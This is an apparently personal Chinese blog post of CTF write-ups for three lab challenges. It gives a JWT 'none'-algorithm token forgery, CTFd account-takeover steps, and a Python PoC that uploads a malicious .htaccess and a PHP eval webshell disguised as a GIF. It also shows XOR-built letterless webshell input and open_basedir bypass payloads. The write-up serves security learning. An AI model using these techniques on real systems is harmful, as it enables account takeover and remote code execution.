最近状态不太好!!!😶😶😶😶😶😶

不行!不要放弃!你既然喜欢渗透!!!那就要坚持!!! 不要怕!!!干就完了!

刷刷刷!!!刷

[HFCTF2020]EasyLogin

image-20210201141617785

上来又是一个登录框!!!

sql注入!还是啥!

随便注册了个!

登录后要我输入flag!!!😏🙄

哎呀

去学学node.js

Node.js 是运行在服务端的 JavaScript,如果你熟悉Javascript,那么你将会很容易的学会Node.js。

学学!!!

日了好像Node.js不需要web服务器里!!!tql

image-20210201145513884

啊啊啊啊啊!速看是真的快!不过每次做题的点!去看语言都找不到在哪!!!😫😫😫😫

直接考到了框架!!!这 妈的!!老子学给看!!!web没又难题!就只有知道不知道!!!

妈的!!!加油!!!!!

考的大佬的图:

img

形式:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.(这里有一个点)eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.(这里也有一个点)TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
第一个点前为header,第二个点前为payload,第二个点后为signture
一个攻击点:当header中的alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.’+ payload +’.’)并将其提交给服务器。

反正记住header和payload是:

前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+/=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-/替换成_ 。这就是 Base64URL 算法。

jwt.’none’绕过

JSON Web Token 入门教程

http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

深入了解Json Web Token之实战篇

https://www.freebuf.com/articles/web/181261.html

img

哎呀!!!啥也不知道!!!

通过2. 将加密方式改为’none’绕过!!!和上回还不一样!!!

找到了上面直接构造:exp

exp

<?php


$a='"alg":"none","typ":"JWT"';
$b = '{"secretid":[],"username":"admin","password":"123456","iat":1590582025}';
echo base64_encode($a);
echo"\n";
echo base64_encode($b);
#eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
#eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU5MDU4MjAyNX0=
?>


注意最后:

等号变成:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.

eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU5MDU4MjAyNX0.

[V&N2020 公开赛]HappyCTFd

image-20210201161418752

直接来了个ctfd!刚开始还因为题目在里面呢🙄

看了看题目知道了!!

登录看看!

发现admin用户有了!

好卡呀!!!

进去后发现啥也没有!

但是image-20210201161920473

这是要干啥

好家伙!直接cve复现!!!可以👾

CTFd账户接管漏洞

注册一个空格admin用户
登录成功后再登出
在登录页面选择忘记密码
改密链接会发送到注册邮箱中,这里使用buuoj的内部邮箱
在邮箱中修改密码
使用admin用户和更改后的密码进行登录
在Admin Panel =>Challenges页面找到flag

我c了!!

他的内网好像有问题!!!

内网邮箱地址

邮件收不到!!!!image-20210201172756830

服了!

1、注册
首先申请一个内网的邮箱,因为靶机没法访问外网,在https://buuoj.cn/resources中找到相应链接。
然后注册账户,空格绕过:(空格)admin

2.忘记密码,拿到admin的密码
注册好以后退出登录,用admin登录(不加空格),点击忘记密码并将邮件发送到刚刚注册的内网邮箱,重置密码。

3、flag
用admin账号登录,在hidden的misc题目附件中找到flag

[SUCTF 2019]EasyWeb

先放个大佬的文章:

https://www.cnblogs.com/20175211lyz/p/11488051.html#4php%E4%B8%AD%E7%9A%84%E7%9A%84%E5%A4%A7%E6%8B%AC%E5%8F%B7%E8%8A%B1%E6%8B%AC%E5%8F%B7%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3

<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

上来先来个php代码审计!

大佬:

https://www.cnblogs.com/20175211lyz/p/11488051.html#4php%E4%B8%AD%E7%9A%84%E7%9A%84%E5%A4%A7%E6%8B%AC%E5%8F%B7%E8%8A%B1%E6%8B%AC%E5%8F%B7%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3

https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/[](https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/)

首先为啥是无字母数字webshell呢!

他是\x00到\x7F刚好是127位!可见字符都没了!考不可见字符在我的🧠里好像也就异或webshell了!

那就可以想到用不可见字符(ascil码大于127的)!通过异或来获取可见字符!

无字母数字webshell+

首先是不能有字母不能有数字,我们可以用脚本

<?php
$l = "";
$r = "";
$argv = str_split("_GET"); ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); ##进行异或
if($k == $argv[$i]){
if($j<16){ ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);

}
}}
echo "\{$l`$r\}"; ### 这里的反引号只是用来区分左半边和右半边而已

?>
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=phpinfo
## 1^2=2^1
## 这里值得注意的是${_GET}{%A0}就等于$_GET[%A0],%A0是一个字符虽然没有被引号引起来但是php也不会将他看出是变量,这就是为什么&_GET[cmd]=&_GET["cmd"] 了。
## 还有一个特性是$a=phpinfo 如果执行$a() 就相当于执行了phpinfo()

异或简单理解:

就是把ascil码进行异或!最后结果再chr一下!看脚本也可以理解他的原理!

image-20210201185318258

干干干!

.htaccess 绕过上传限制

已经知道是php7

他对文件的后缀和内容都有过滤!!!

这里学到了一个新知识点!

  1. 可以看到文件名中不能出现php,内容不能有<?同时规定文件类型是图片。

    因为php = 7.2所以不能用``来绕过文件内容(<?)过滤。在上面phpinfo中可以看环境是Apache + PHP,所以可以通过上传.htaccess绕过文件名过滤,然后通过编码解码绕过文件内容过滤。

对于exif_imagetype()的绕过方式:

使用\x00\x00\x8a\x39\x8a\x39绕过
使用#define width 1337\n#define height 1337绕过

poc

import requests
import base64
url="http://363894cb-b112-4e61-9727-779aad3c69fe.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess="""
\x00\x00\x85\x48\x85\x18
#define width 1
#define height 1
AddType application/x-httpd-php .pxp
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_852aff287f54bca0ed7757a702913e50/2.pxp"
"""

###这里需要替换为自己上传的文件名

shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节

#first_upload ---- to upload .htaccess

files1={
'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)

#second_upload ---- to upload .shell
#
files2={
'file':('2.pxp',shell,'image/jpeg')
}
r1=requests.post(url,files=files2)
print (r1.text)

绕过open_basedir得到flag

什么是open_basedir

Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。 一般情况下,我们最多可以绕过open_basedir的限制对其进行列目录。绕过open_basedir进行读写文件危害较大,在php5.3以后很少有能够绕过open_basedir读写文件的方法。

php可以读写的文件、目录都将被限制在这些目录中

open_basedir绕过

https://www.v0n.top/2020/07/10/open_basedir%E7%BB%95%E8%BF%87/[](https://www.v0n.top/2020/07/10/open_basedir%E7%BB%95%E8%BF%87/)

https://xz.aliyun.com/t/4720

print_r(scandir(‘/var/www/html/F1AghhhhhhhhhhhhhHH’));

print_r(file_get_contents(‘/var/www/html/F1AghhhhhhhhhhhhhHH’));

payload

?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));